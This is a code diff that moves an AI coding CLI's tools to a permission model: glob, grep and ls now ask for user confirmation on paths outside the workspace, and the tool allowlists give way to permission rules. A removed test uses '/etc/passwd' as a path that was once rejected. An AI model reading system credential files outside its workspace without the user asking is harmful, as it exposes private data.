expect(confirmation).toMatchObject({ type: 'plan', title: 'Would you like to proceed?', @@ -154,7 +156,7 @@ describe('ExitPlanModeTool', () => { const signal = new AbortController().signal; const invocation = tool.build(params); - const confirmation = await invocation.shouldConfirmExecute(signal); + const confirmation = await invocation.getConfirmationDetails(signal); if (confirmation) { expect(confirmation.type).toBe('plan'); @@ -178,7 +180,7 @@ describe('ExitPlanModeTool', () => { const signal = new AbortController().signal; const invocation = tool.build(params); - const confirmation = await invocation.shouldConfirmExecute(signal); + const confirmation = await invocation.getConfirmationDetails(signal); if (confirmation) { await confirmation.onConfirm(ToolConfirmationOutcome.Cancel); diff --git a/packages/core/src/tools/exitPlanMode.ts b/packages/core/src/tools/exitPlanMode.ts index 0f06add54a51..cc5894766a72 100644 --- a/packages/core/src/tools/exitPlanMode.ts +++ b/packages/core/src/tools/exitPlanMode.ts @@ -5,6 +5,7 @@ */ import type { ToolPlanConfirmationDetails, ToolResult } from './tools.js'; +import type { PermissionDecision } from '../permissions/types.js'; import { BaseDeclarativeTool, BaseToolInvocation, @@ -76,7 +77,14 @@ class ExitPlanModeToolInvocation extends BaseToolInvocation< return 'Plan:'; } - override async shouldConfirmExecute( + /** + * Plan mode exit always requires user confirmation. + */ + override async getDefaultPermission(): Promise { + return 'ask'; + } + + override async getConfirmationDetails( _abortSignal: AbortSignal, ): Promise { const details: ToolPlanConfirmationDetails = { diff --git a/packages/core/src/tools/glob.test.ts b/packages/core/src/tools/glob.test.ts index b6a04c35f854..dc1537930dea 100644 --- a/packages/core/src/tools/glob.test.ts +++ b/packages/core/src/tools/glob.test.ts @@ -244,13 +244,14 @@ describe('GlobTool', () => { expect(result.llmContent).toContain('Found 2 file(s)'); }); - it('should return error if path is outside workspace', async () => { - // Bypassing validation to test execute method directly - vi.spyOn(globTool, 'validateToolParams').mockReturnValue(null); - const params: GlobToolParams = { pattern: '*.txt', path: '/etc' }; + it('should allow path outside workspace (external path support)', async () => { + const params: GlobToolParams = { pattern: '*.txt', path: '/tmp' }; const invocation = globTool.build(params); + // External path is now allowed - it should not return a workspace error const result = await invocation.execute(abortSignal); - expect(result.returnDisplay).toBe('Error: Path is not within workspace'); + expect(result.returnDisplay).not.toContain( + 'Path is not within workspace', + ); }); it('should return a GLOB_EXECUTION_ERROR on glob failure', async () => { @@ -322,9 +323,8 @@ describe('GlobTool', () => { pattern: '*.txt', path: '../../../../../../../../../../tmp', // Definitely outside }; - expect(specificGlobTool.validateToolParams(paramsOutside)).toContain( - 'Path is not within workspace', - ); + // External paths are now allowed (permission handled at runtime) + expect(specificGlobTool.validateToolParams(paramsOutside)).toBeNull(); }); it('should return error if specified search path does not exist', async () => { @@ -351,9 +351,8 @@ describe('GlobTool', () => { const invalidPath = { pattern: '*.ts', path: '../..' }; expect(globTool.validateToolParams(validPath)).toBeNull(); - expect(globTool.validateToolParams(invalidPath)).toContain( - 'Path is not within workspace', - ); + // External paths are now allowed (permission handled at runtime) + expect(globTool.validateToolParams(invalidPath)).toBeNull(); }); it('should work with paths in workspace subdirectories', async () => { diff --git a/packages/core/src/tools/glob.ts b/packages/core/src/tools/glob.ts index 74af58081926..12a29922a255 100644 --- a/packages/core/src/tools/glob.ts +++ b/packages/core/src/tools/glob.ts @@ -12,6 +12,7 @@ import { BaseDeclarativeTool, BaseToolInvocation, Kind } from './tools.js'; import { ToolNames, ToolDisplayNames } from './tool-names.js'; import { resolveAndValidatePath } from '../utils/paths.js'; import { type Config } from '../config/config.js'; +import type { PermissionDecision } from '../permissions/types.js'; import { DEFAULT_FILE_FILTERING_OPTIONS, type FileFilteringOptions, @@ -99,12 +100,32 @@ class GlobToolInvocation extends BaseToolInvocation< return description; } + /** + * Returns 'ask' for paths outside the workspace, so that external glob + * searches require user confirmation. + */ + override async getDefaultPermission(): Promise { + if (!this.params.path) { + return 'allow'; // Default workspace directory + } + const workspaceContext = this.config.getWorkspaceContext(); + const resolvedPath = path.resolve( + this.config.getTargetDir(), + this.params.path, + ); + if (workspaceContext.isPathWithinWorkspace(resolvedPath)) { + return 'allow'; + } + return 'ask'; + } + async execute(signal: AbortSignal): Promise { try { // Default to target directory if no path is provided const searchDirAbs = resolveAndValidatePath( this.config, this.params.path, + { allowExternalPaths: true }, ); const searchLocationDescription = this.params.path ? `within ${searchDirAbs}` @@ -279,7 +300,9 @@ export class GlobTool extends BaseDeclarativeTool { // Only validate path if one is provided if (params.path) { try { - resolveAndValidatePath(this.config, params.path); + resolveAndValidatePath(this.config, params.path, { + allowExternalPaths: true, + }); } catch (error) { return getErrorMessage(error); } diff --git a/packages/core/src/tools/grep.ts b/packages/core/src/tools/grep.ts index b8ce6d54f08e..25104ccab4a9 100644 --- a/packages/core/src/tools/grep.ts +++ b/packages/core/src/tools/grep.ts @@ -19,6 +19,7 @@ import { resolveAndValidatePath } from '../utils/paths.js'; import { getErrorMessage, isNodeError } from '../utils/errors.js'; import { isGitRepository } from '../utils/gitUtils.js'; import type { Config } from '../config/config.js'; +import type { PermissionDecision } from '../permissions/types.js'; import type { FileExclusions } from '../utils/ignorePatterns.js'; import { ToolErrorType } from './tool-error.js'; import { isCommandAvailable } from '../utils/shell-utils.js'; @@ -73,12 +74,32 @@ class GrepToolInvocation extends BaseToolInvocation< this.fileExclusions = config.getFileExclusions(); } + /** + * Returns 'ask' for paths outside the workspace, so that external grep + * searches require user confirmation. + */ + override async getDefaultPermission(): Promise { + if (!this.params.path) { + return 'allow'; // Default workspace directory + } + const workspaceContext = this.config.getWorkspaceContext(); + const resolvedPath = path.resolve( + this.config.getTargetDir(), + this.params.path, + ); + if (workspaceContext.isPathWithinWorkspace(resolvedPath)) { + return 'allow'; + } + return 'ask'; + } + async execute(signal: AbortSignal): Promise { try { // Default to target directory if no path is provided const searchDirAbs = resolveAndValidatePath( this.config, this.params.path, + { allowExternalPaths: true }, ); const searchDirDisplay = this.params.path || '.'; @@ -553,7 +574,9 @@ export class GrepTool extends BaseDeclarativeTool { // Only validate path if one is provided if (params.path) { try { - resolveAndValidatePath(this.config, params.path); + resolveAndValidatePath(this.config, params.path, { + allowExternalPaths: true, + }); } catch (error) { return getErrorMessage(error); } diff --git a/packages/core/src/tools/ls.test.ts b/packages/core/src/tools/ls.test.ts index 204289e611ed..445092a6dd9f 100644 --- a/packages/core/src/tools/ls.test.ts +++ b/packages/core/src/tools/ls.test.ts @@ -71,10 +71,9 @@ describe('LSTool', () => { ); }); - it('should reject paths outside workspace with clear error message', () => { - expect(() => lsTool.build({ path: '/etc/passwd' })).toThrow( - `Path must be within one of the workspace directories: ${tempRootDir}, ${tempSecondaryDir}`, - ); + it('should allow paths outside workspace (external path support)', () => { + const invocation = lsTool.build({ path: '/etc' }); + expect(invocation).toBeDefined(); }); it('should accept paths in secondary workspace directory', async () => { @@ -87,6 +86,20 @@ describe('LSTool', () => { }); }); + describe('getDefaultPermission', () => { + it('should return allow for paths within workspace', async () => { + const invocation = lsTool.build({ path: tempRootDir }); + const permission = await invocation.getDefaultPermission(); + expect(permission).toBe('allow'); + }); + + it('should return ask for paths outside workspace', async () => { + const invocation = lsTool.build({ path: '/tmp' }); + const permission = await invocation.getDefaultPermission(); + expect(permission).toBe('ask'); + }); + }); + describe('execute', () => { it('should list files in a directory', async () => { await fs.writeFile(path.join(tempRootDir, 'file1.txt'), 'content1'); @@ -361,11 +374,10 @@ describe('LSTool', () => { expect(lsTool.build(params)).toBeDefined(); }); - it('should reject paths outside all workspace directories', () => { - const params = { path: '/etc/passwd' }; - expect(() => lsTool.build(params)).toThrow( - 'Path must be within one of the workspace directories', - ); + it('should allow paths outside all workspace directories (external path support)', () => { + const params = { path: '/etc' }; + const invocation = lsTool.build(params); + expect(invocation).toBeDefined(); }); it('should list files from secondary workspace directory', async () => { diff --git a/packages/core/src/tools/ls.ts b/packages/core/src/tools/ls.ts index a4283417bcee..2d228bff012b 100644 --- a/packages/core/src/tools/ls.ts +++ b/packages/core/src/tools/ls.ts @@ -9,12 +9,14 @@ import path from 'node:path'; import type { ToolInvocation, ToolResult } from './tools.js'; import { BaseDeclarativeTool, BaseToolInvocation, Kind } from './tools.js'; import { makeRelative, shortenPath } from '../utils/paths.js'; -import { isSubpaths } from '../utils/paths.js'; +import { isSubpaths, isSubpath } from '../utils/paths.js'; import type { Config } from '../config/config.js'; +import type { PermissionDecision } from '../permissions/types.js'; import { DEFAULT_FILE_FILTERING_OPTIONS } from '../config/constants.js'; import { ToolErrorType } from './tool-error.js'; import { ToolDisplayNames, ToolNames } from './tool-names.js'; import { createDebugLogger } from '../utils/debugLogger.js'; +import { Storage } from '../config/storage.js'; const debugLogger = createDebugLogger('LS'); @@ -117,6 +119,26 @@ class LSToolInvocation extends BaseToolInvocation { return shortenPath(relativePath); } + /** + * Returns 'ask' for paths outside the workspace/userSkills directories, + * so that external directory listings require user confirmation. + */ + override async getDefaultPermission(): Promise { + const dirPath = path.resolve(this.params.path); + const workspaceContext = this.config.getWorkspaceContext(); + const userSkillsDirs = this.config.storage.getUserSkillsDirs(); + const userExtensionsDir = Storage.getUserExtensionsDir(); + + if ( + workspaceContext.isPathWithinWorkspace(dirPath) || + isSubpaths(userSkillsDirs, dirPath) || + isSubpath(userExtensionsDir, dirPath) + ) { + return 'allow'; + } + return 'ask'; + } + // Helper for consistent error formatting private errorResult( llmContent: string, @@ -335,19 +357,6 @@ export class LSTool extends BaseDeclarativeTool { return `Path must be absolute: ${params.path}`; } - const userSkillsBases = this.config.storage.getUserSkillsDirs(); - const isUnderUserSkills = isSubpaths(userSkillsBases, params.path); - - const workspaceContext = this.config.getWorkspaceContext(); - if ( - !workspaceContext.isPathWithinWorkspace(params.path) && - !isUnderUserSkills - ) { - const directories = workspaceContext.getDirectories(); - return `Path must be within one of the workspace directories: ${directories.join( - ', ', - )}`; - } return null; } diff --git a/packages/core/src/tools/mcp-tool.test.ts b/packages/core/src/tools/mcp-tool.test.ts index 1826ff197726..9d850ad68899 100644 --- a/packages/core/src/tools/mcp-tool.test.ts +++ b/packages/core/src/tools/mcp-tool.test.ts @@ -87,9 +87,6 @@ describe('DiscoveredMCPTool', () => { baseDescription, inputSchema, ); - // Clear allowlist before each relevant test, especially for shouldConfirmExecute - const invocation = tool.build({ param: 'mock' }) as any; - invocation.constructor.allowlist.clear(); }); afterEach(() => { @@ -738,8 +735,8 @@ describe('DiscoveredMCPTool', () => { }); }); - describe('shouldConfirmExecute', () => { - it('should return false if trust is true', async () => { + describe('getDefaultPermission and getConfirmationDetails', () => { + it('should return ask even if trust is true and folder is trusted (trust logic moved to PM)', async () => { const trustedTool = new DiscoveredMCPTool( mockCallableToolInstance, serverName, @@ -751,159 +748,67 @@ describe('DiscoveredMCPTool', () => { { isTrustedFolder: () => true } as any, ); const invocation = trustedTool.build({ param: 'mock' }); - expect( - await invocation.shouldConfirmExecute(new AbortController().signal), - ).toBe(false); + expect(await invocation.getDefaultPermission()).toBe('ask'); }); - it('should return false if server is allowlisted', async () => { - const invocation = tool.build({ param: 'mock' }) as any; - invocation.constructor.allowlist.add(serverName); - expect( - await invocation.shouldConfirmExecute(new AbortController().signal), - ).toBe(false); - }); - - it('should return false if tool is allowlisted', async () => { - const toolAllowlistKey = `${serverName}.${serverToolName}`; - const invocation = tool.build({ param: 'mock' }) as any; - invocation.constructor.allowlist.add(toolAllowlistKey); - expect( - await invocation.shouldConfirmExecute(new AbortController().signal), - ).toBe(false); + it('should return ask if not trusted', async () => { + const invocation = tool.build({ param: 'mock' }); + expect(await invocation.getDefaultPermission()).toBe('ask'); }); - it('should return confirmation details if not trusted and not allowlisted', async () => { + it('should return confirmation details when permission is ask', async () => { const invocation = tool.build({ param: 'mock' }); - const confirmation = await invocation.shouldConfirmExecute( + expect(await invocation.getDefaultPermission()).toBe('ask'); + const confirmation = await invocation.getConfirmationDetails( new AbortController().signal, ); - expect(confirmation).not.toBe(false); - if (confirmation && confirmation.type === 'mcp') { - // Type guard for ToolMcpConfirmationDetails - expect(confirmation.type).toBe('mcp'); + expect(confirmation.type).toBe('mcp'); + if (confirmation.type === 'mcp') { expect(confirmation.serverName).toBe(serverName); expect(confirmation.toolName).toBe(serverToolName); - } else if (confirmation) { - // Handle other possible confirmation types if necessary, or strengthen test if only MCP is expected - throw new Error( - 'Confirmation was not of expected type MCP or was false', - ); - } else { - throw new Error( - 'Confirmation details not in expected format or was false', - ); } }); - it('should add server to allowlist on ProceedAlwaysServer', async () => { - const invocation = tool.build({ param: 'mock' }) as any; - const confirmation = await invocation.shouldConfirmExecute( + it('should have onConfirm as a no-op', async () => { + const invocation = tool.build({ param: 'mock' }); + const confirmation = await invocation.getConfirmationDetails( new AbortController().signal, ); - expect(confirmation).not.toBe(false); + expect(confirmation).toHaveProperty('onConfirm'); if ( - confirmation && - typeof confirmation === 'object' && 'onConfirm' in confirmation && typeof confirmation.onConfirm === 'function' ) { + // onConfirm should not throw for any outcome await confirmation.onConfirm( - ToolConfirmationOutcome.ProceedAlwaysServer, + ToolConfirmationOutcome.ProceedAlwaysProject, ); - expect(invocation.constructor.allowlist.has(serverName)).toBe(true); - } else { - throw new Error( - 'Confirmation details or onConfirm not in expected format', - ); - } - }); - - it('should add tool to allowlist on ProceedAlwaysTool', async () => { - const toolAllowlistKey = `${serverName}.${serverToolName}`; - const invocation = tool.build({ param: 'mock' }) as any; - const confirmation = await invocation.shouldConfirmExecute( - new AbortController().signal, - ); - expect(confirmation).not.toBe(false); - if ( - confirmation && - typeof confirmation === 'object' && - 'onConfirm' in confirmation && - typeof confirmation.onConfirm === 'function' - ) { - await confirmation.onConfirm(ToolConfirmationOutcome.ProceedAlwaysTool); - expect(invocation.constructor.allowlist.has(toolAllowlistKey)).toBe( - true, - ); - } else { - throw new Error( - 'Confirmation details or onConfirm not in expected format', - ); - } - }); - - it('should handle Cancel confirmation outcome', async () => { - const invocation = tool.build({ param: 'mock' }) as any; - const confirmation = await invocation.shouldConfirmExecute( - new AbortController().signal, - ); - expect(confirmation).not.toBe(false); - if ( - confirmation && - typeof confirmation === 'object' && - 'onConfirm' in confirmation && - typeof confirmation.onConfirm === 'function' - ) { - // Cancel should not add anything to allowlist + await confirmation.onConfirm(ToolConfirmationOutcome.ProceedAlwaysUser); await confirmation.onConfirm(ToolConfirmationOutcome.Cancel); - expect(invocation.constructor.allowlist.has(serverName)).toBe(false); - expect( - invocation.constructor.allowlist.has( - `${serverName}.${serverToolName}`, - ), - ).toBe(false); - } else { - throw new Error( - 'Confirmation details or onConfirm not in expected format', - ); + await confirmation.onConfirm(ToolConfirmationOutcome.ProceedOnce); } }); - it('should handle ProceedOnce confirmation outcome', async () => { - const invocation = tool.build({ param: 'mock' }) as any; - const confirmation = await invocation.shouldConfirmExecute( + it('should include permissionRules with mcp__server__tool format', async () => { + const invocation = tool.build({ param: 'mock' }); + const confirmation = await invocation.getConfirmationDetails( new AbortController().signal, ); - expect(confirmation).not.toBe(false); - if ( - confirmation && - typeof confirmation === 'object' && - 'onConfirm' in confirmation && - typeof confirmation.onConfirm === 'function' - ) { - // ProceedOnce should not add anything to allowlist - await confirmation.onConfirm(ToolConfirmationOutcome.ProceedOnce); - expect(invocation.constructor.allowlist.has(serverName)).toBe(false); - expect( - invocation.constructor.allowlist.has( - `${serverName}.${serverToolName}`, - ), - ).toBe(false); - } else { - throw new Error( - 'Confirmation details or onConfirm not in expected format', - ); + expect(confirmation.type).toBe('mcp'); + if (confirmation.type === 'mcp') { + expect(confirmation.permissionRules).toEqual([ + `mcp__${serverName}__${serverToolName}`, + ]); } }); }); - describe('shouldConfirmExecute with folder trust', () => { + describe('getDefaultPermission with folder trust', () => { const mockConfig = (isTrusted: boolean | undefined) => ({ isTrustedFolder: () => isTrusted, }); - it('should return false if trust is true and folder is trusted', async () => { + it('should return ask even if trust is true and folder is trusted (trust logic moved to PM)', async () => { const trustedTool = new DiscoveredMCPTool( mockCallableToolInstance, serverName, @@ -915,12 +820,10 @@ describe('DiscoveredMCPTool', () => { mockConfig(true) as any, // isTrustedFolder = true ); const invocation = trustedTool.build({ param: 'mock' }); - expect( - await invocation.shouldConfirmExecute(new AbortController().signal), - ).toBe(false); + expect(await invocation.getDefaultPermission()).toBe('ask'); }); - it('should return confirmation details if trust is true but folder is not trusted', async () => { + it('should return ask if trust is true but folder is not trusted', async () => { const trustedTool = new DiscoveredMCPTool( mockCallableToolInstance, serverName, @@ -932,14 +835,10 @@ describe('DiscoveredMCPTool', () => { mockConfig(false) as any, // isTrustedFolder = false ); const invocation = trustedTool.build({ param: 'mock' }); - const confirmation = await invocation.shouldConfirmExecute( - new AbortController().signal, - ); - expect(confirmation).not.toBe(false); - expect(confirmation).toHaveProperty('type', 'mcp'); + expect(await invocation.getDefaultPermission()).toBe('ask'); }); - it('should return confirmation details if trust is false, even if folder is trusted', async () => { + it('should return ask if trust is false, even if folder is trusted', async () => { const untrustedTool = new DiscoveredMCPTool( mockCallableToolInstance, serverName, @@ -951,11 +850,7 @@ describe('DiscoveredMCPTool', () => { mockConfig(true) as any, // isTrustedFolder = true ); const invocation = untrustedTool.build({ param: 'mock' }); - const confirmation = await invocation.shouldConfirmExecute( - new AbortController().signal, - ); - expect(confirmation).not.toBe(false); - expect(confirmation).toHaveProperty('type', 'mcp'); + expect(await invocation.getDefaultPermission()).toBe('ask'); }); }); diff --git a/packages/core/src/tools/mcp-tool.ts b/packages/core/src/tools/mcp-tool.ts index 73ba1ece4cd4..44b9376330a8 100644 --- a/packages/core/src/tools/mcp-tool.ts +++ b/packages/core/src/tools/mcp-tool.ts @@ -13,13 +13,10 @@ import type { ToolResultDisplay, ToolConfirmationPayload, McpToolProgressData, -} from './tools.js'; -import { - BaseDeclarativeTool, - BaseToolInvocation, - Kind, ToolConfirmationOutcome, } from './tools.js'; +import type { PermissionDecision } from '../permissions/types.js'; +import { BaseDeclarativeTool, BaseToolInvocation, Kind } from './tools.js'; import type { CallableTool, FunctionCall, Part } from '@google/genai'; import { ToolErrorType } from './tool-error.js'; import type { Config } from '../config/config.js'; @@ -111,8 +108,6 @@ class DiscoveredMCPToolInvocation extends BaseToolInvocation< ToolParams, ToolResult > { - private static readonly allowlist: Set = new Set(); - constructor( private readonly mcpTool: CallableTool, readonly serverName: string, @@ -128,44 +123,43 @@ class DiscoveredMCPToolInvocation extends BaseToolInvocation< super(params); } - override async shouldConfirmExecute( - _abortSignal: AbortSignal, - ): Promise { - const serverAllowListKey = this.serverName; - const toolAllowListKey = `${this.serverName}.${this.serverToolName}`; - - if (this.cliConfig?.isTrustedFolder() && this.trust) { - return false; // server is trusted, no confirmation needed - } - - // MCP tools annotated with readOnlyHint: true are safe to execute - // without confirmation, especially important for plan mode support + /** + * MCP tool default permission based on annotations: + * - readOnlyHint → 'allow' + * - All other MCP tools → 'ask' + * + * Note: trust/isTrustedFolder logic is now handled by PM rules, + * not by getDefaultPermission(). + */ + override async getDefaultPermission(): Promise { + // MCP tools annotated with readOnlyHint: true are safe if (this.annotations?.readOnlyHint === true) { - return false; + return 'allow'; } + return 'ask'; + } - if ( - DiscoveredMCPToolInvocation.allowlist.has(serverAllowListKey) || - DiscoveredMCPToolInvocation.allowlist.has(toolAllowListKey) - ) { - return false; // server and/or tool already allowlisted - } + /** + * Constructs confirmation dialog details for an MCP tool call. + */ + override async getConfirmationDetails( + _abortSignal: AbortSignal, + ): Promise { + // Construct the permission rule for this specific MCP tool. + const permissionRule = `mcp__${this.serverName}__${this.serverToolName}`; const confirmationDetails: ToolMcpConfirmationDetails = { type: 'mcp', title: 'Confirm MCP Tool Execution', serverName: this.serverName, - toolName: this.serverToolName, // Display original tool name in confirmation - toolDisplayName: this.displayName, // Display global registry name exposed to model and user + toolName: this.serverToolName, + toolDisplayName: this.displayName, + permissionRules: [permissionRule], onConfirm: async ( - outcome: ToolConfirmationOutcome, + _outcome: ToolConfirmationOutcome, _payload?: ToolConfirmationPayload, ) => { - if (outcome === ToolConfirmationOutcome.ProceedAlwaysServer) { - DiscoveredMCPToolInvocation.allowlist.add(serverAllowListKey); - } else if (outcome === ToolConfirmationOutcome.ProceedAlwaysTool) { - DiscoveredMCPToolInvocation.allowlist.add(toolAllowListKey); - } + // No-op: persistence is handled by coreToolScheduler via PM rules }, }; return confirmationDetails; diff --git a/packages/core/src/tools/memoryTool.test.ts b/packages/core/src/tools/memoryTool.test.ts index b64837843c67..7050ab7feb26 100644 --- a/packages/core/src/tools/memoryTool.test.ts +++ b/packages/core/src/tools/memoryTool.test.ts @@ -315,29 +315,34 @@ describe('MemoryTool', () => { }); }); - describe('shouldConfirmExecute', () => { + describe('getDefaultPermission and getConfirmationDetails', () => { let memoryTool: MemoryTool; beforeEach(() => { memoryTool = new MemoryTool(); // Mock fs.readFile to return empty string (file doesn't exist) vi.mocked(fs.readFile).mockResolvedValue(''); + }); + + it('should always return ask from getDefaultPermission', async () => { + const params = { fact: 'Test fact', scope: 'global' as const }; + const invocation = memoryTool.build(params); + const permission = await invocation.getDefaultPermission(); - // Clear allowlist before each test to ensure clean state - const invocation = memoryTool.build({ fact: 'test', scope: 'global' }); - // eslint-disable-next-line @typescript-eslint/no-explicit-any - (invocation.constructor as any).allowlist.clear(); + expect(permission).toBe('ask'); }); - it('should return confirmation details when memory file is not allowlisted for global scope', async () => { + it('should return confirmation details for global scope', async () => { const params = { fact: 'Test fact', scope: 'global' as const }; const invocation = memoryTool.build(params); - const result = await invocation.shouldConfirmExecute(mockAbortSignal); + const permission = await invocation.getDefaultPermission(); + expect(permission).toBe('ask'); + + const result = await invocation.getConfirmationDetails(mockAbortSignal); expect(result).toBeDefined(); - expect(result).not.toBe(false); - if (result && result.type === 'edit') { + if (result.type === 'edit') { const expectedPath = path.join('~', '.qwen', 'QWEN.md'); expect(result.title).toBe( `Confirm Memory Save: ${expectedPath} (global)`, @@ -353,15 +358,17 @@ describe('MemoryTool', () => { } }); - it('should return confirmation details when memory file is not allowlisted for project scope', async () => { + it('should return confirmation details for project scope', async () => { const params = { fact: 'Test fact', scope: 'project' as const }; const invocation = memoryTool.build(params); - const result = await invocation.shouldConfirmExecute(mockAbortSignal); + const permission = await invocation.getDefaultPermission(); + expect(permission).toBe('ask'); + + const result = await invocation.getConfirmationDetails(mockAbortSignal); expect(result).toBeDefined(); - expect(result).not.toBe(false); - if (result && result.type === 'edit') { + if (result.type === 'edit') { const expectedPath = path.join(process.cwd(), 'QWEN.md'); expect(result.title).toBe( `Confirm Memory Save: ${expectedPath} (project)`, @@ -376,121 +383,22 @@ describe('MemoryTool', () => { } }); - it('should return false when memory file is already allowlisted for global scope', async () => { - const params = { fact: 'Test fact', scope: 'global' as const }; - const memoryFilePath = path.join( - os.homedir(), - '.qwen', - getCurrentGeminiMdFilename(), - ); - - const invocation = memoryTool.build(params); - // Add the memory file to the allowlist with the scope-specific key format - // eslint-disable-next-line @typescript-eslint/no-explicit-any - (invocation.constructor as any).allowlist.add(`${memoryFilePath}_global`); - - const result = await invocation.shouldConfirmExecute(mockAbortSignal); - - expect(result).toBe(false); - }); - - it('should return false when memory file is already allowlisted for project scope', async () => { - const params = { fact: 'Test fact', scope: 'project' as const }; - const memoryFilePath = path.join( - process.cwd(), - getCurrentGeminiMdFilename(), - ); - - const invocation = memoryTool.build(params); - // Add the memory file to the allowlist with the scope-specific key format - // eslint-disable-next-line @typescript-eslint/no-explicit-any - (invocation.constructor as any).allowlist.add( - `${memoryFilePath}_project`, - ); - - const result = await invocation.shouldConfirmExecute(mockAbortSignal); - - expect(result).toBe(false); - }); - - it('should add memory file to allowlist when ProceedAlways is confirmed for global scope', async () => { - const params = { fact: 'Test fact', scope: 'global' as const }; - const memoryFilePath = path.join( - os.homedir(), - '.qwen', - getCurrentGeminiMdFilename(), - ); - - const invocation = memoryTool.build(params); - const result = await invocation.shouldConfirmExecute(mockAbortSignal); - - expect(result).toBeDefined(); - expect(result).not.toBe(false); - - if (result && result.type === 'edit') { - // Simulate the onConfirm callback - await result.onConfirm(ToolConfirmationOutcome.ProceedAlways); - - // Check that the memory file was added to the allowlist with the scope-specific key format - expect( - // eslint-disable-next-line @typescript-eslint/no-explicit-any - (invocation.constructor as any).allowlist.has( - `${memoryFilePath}_global`, - ), - ).toBe(true); - } - }); - - it('should add memory file to allowlist when ProceedAlways is confirmed for project scope', async () => { - const params = { fact: 'Test fact', scope: 'project' as const }; - const memoryFilePath = path.join( - process.cwd(), - getCurrentGeminiMdFilename(), - ); - - const invocation = memoryTool.build(params); - const result = await invocation.shouldConfirmExecute(mockAbortSignal); - - expect(result).toBeDefined(); - expect(result).not.toBe(false); - - if (result && result.type === 'edit') { - // Simulate the onConfirm callback - await result.onConfirm(ToolConfirmationOutcome.ProceedAlways); - - // Check that the memory file was added to the allowlist with the scope-specific key format - expect( - // eslint-disable-next-line @typescript-eslint/no-explicit-any - (invocation.constructor as any).allowlist.has( - `${memoryFilePath}_project`, - ), - ).toBe(true); - } - }); - - it('should not add memory file to allowlist when other outcomes are confirmed', async () => { + it('should have no-op onConfirm callback', async () => { const params = { fact: 'Test fact', scope: 'global' as const }; - const memoryFilePath = path.join( - os.homedir(), - '.qwen', - getCurrentGeminiMdFilename(), - ); - const invocation = memoryTool.build(params); - const result = await invocation.shouldConfirmExecute(mockAbortSignal); - - expect(result).toBeDefined(); - expect(result).not.toBe(false); - - if (result && result.type === 'edit') { - // Simulate the onConfirm callback with different outcomes - await result.onConfirm(ToolConfirmationOutcome.ProceedOnce); - // eslint-disable-next-line @typescript-eslint/no-explicit-any - const allowlist = (invocation.constructor as any).allowlist; - expect(allowlist.has(`${memoryFilePath}_global`)).toBe(false); - - await result.onConfirm(ToolConfirmationOutcome.Cancel); - expect(allowlist.has(`${memoryFilePath}_global`)).toBe(false); + const result = await invocation.getConfirmationDetails(mockAbortSignal); + + if (result.type === 'edit') { + // onConfirm should be a no-op — just verify it doesn't throw + await expect( + result.onConfirm(ToolConfirmationOutcome.ProceedAlways), + ).resolves.toBeUndefined(); + await expect( + result.onConfirm(ToolConfirmationOutcome.ProceedOnce), + ).resolves.toBeUndefined(); + await expect( + result.onConfirm(ToolConfirmationOutcome.Cancel), + ).resolves.toBeUndefined(); } }); @@ -503,12 +411,14 @@ describe('MemoryTool', () => { vi.mocked(fs.readFile).mockResolvedValue(existingContent); const invocation = memoryTool.build(params); - const result = await invocation.shouldConfirmExecute(mockAbortSignal); + const permission = await invocation.getDefaultPermission(); + expect(permission).toBe('ask'); + + const result = await invocation.getConfirmationDetails(mockAbortSignal); expect(result).toBeDefined(); - expect(result).not.toBe(false); - if (result && result.type === 'edit') { + if (result.type === 'edit') { const expectedPath = path.join('~', '.qwen', 'QWEN.md'); expect(result.title).toBe( `Confirm Memory Save: ${expectedPath} (global)`, @@ -524,12 +434,14 @@ describe('MemoryTool', () => { it('should prompt for scope selection when scope is not specified', async () => { const params = { fact: 'Test fact' }; const invocation = memoryTool.build(params); - const result = await invocation.shouldConfirmExecute(mockAbortSignal); + const permission = await invocation.getDefaultPermission(); + expect(permission).toBe('ask'); + + const result = await invocation.getConfirmationDetails(mockAbortSignal); expect(result).toBeDefined(); - expect(result).not.toBe(false); - if (result && result.type === 'edit') { + if (result.type === 'edit') { expect(result.title).toContain('Choose Memory Location'); expect(result.title).toContain('GLOBAL'); expect(result.title).toContain('PROJECT'); @@ -546,12 +458,11 @@ describe('MemoryTool', () => { it('should show correct file paths in scope selection prompt', async () => { const params = { fact: 'Test fact' }; const invocation = memoryTool.build(params); - const result = await invocation.shouldConfirmExecute(mockAbortSignal); + const result = await invocation.getConfirmationDetails(mockAbortSignal); expect(result).toBeDefined(); - expect(result).not.toBe(false); - if (result && result.type === 'edit') { + if (result.type === 'edit') { const globalPath = path.join('~', '.qwen', 'QWEN.md'); const projectPath = path.join(process.cwd(), 'QWEN.md'); diff --git a/packages/core/src/tools/memoryTool.ts b/packages/core/src/tools/memoryTool.ts index 95c89b18bb8b..4af6d9f9bf4f 100644 --- a/packages/core/src/tools/memoryTool.ts +++ b/packages/core/src/tools/memoryTool.ts @@ -4,12 +4,17 @@ * SPDX-License-Identifier: Apache-2.0 */ -import type { ToolEditConfirmationDetails, ToolResult } from './tools.js'; +import type { + ToolEditConfirmationDetails, + ToolResult, + ToolCallConfirmationDetails, + + ToolConfirmationOutcome} from './tools.js'; +import type { PermissionDecision } from '../permissions/types.js'; import { BaseDeclarativeTool, BaseToolInvocation, - Kind, - ToolConfirmationOutcome, + Kind } from './tools.js'; import type { FunctionDeclaration } from '@google/genai'; import * as fs from 'node:fs/promises'; @@ -207,8 +212,6 @@ class MemoryToolInvocation extends BaseToolInvocation< SaveMemoryParams, ToolResult > { - private static readonly allowlist: Set = new Set(); - getDescription(): string { if (!this.params.scope) { const globalPath = tildeifyPath(getMemoryFilePath('global')); @@ -220,12 +223,21 @@ class MemoryToolInvocation extends BaseToolInvocation< return `${tildeifyPath(memoryFilePath)} (${scope})`; } - override async shouldConfirmExecute( + /** + * Memory save always needs user confirmation. + */ + override async getDefaultPermission(): Promise { + return 'ask'; + } + + /** + * Constructs the memory save confirmation dialog. + */ + override async getConfirmationDetails( _abortSignal: AbortSignal, - ): Promise { + ): Promise { // When scope is not specified, show a choice dialog defaulting to global if (!this.params.scope) { - // Show preview of what would be added to global by default const defaultScope = 'global'; const currentContent = await readMemoryFileContent(defaultScope); const newContent = computeNewContent(currentContent, this.params.fact); @@ -270,14 +282,9 @@ Preview of changes to be made to GLOBAL memory: return confirmationDetails; } - // Only check allowlist when scope is specified + // Scope is specified const scope = this.params.scope; const memoryFilePath = getMemoryFilePath(scope); - const allowlistKey = `${memoryFilePath}_${scope}`; - - if (MemoryToolInvocation.allowlist.has(allowlistKey)) { - return false; - } // Read current content of the memory file const currentContent = await readMemoryFileContent(scope); 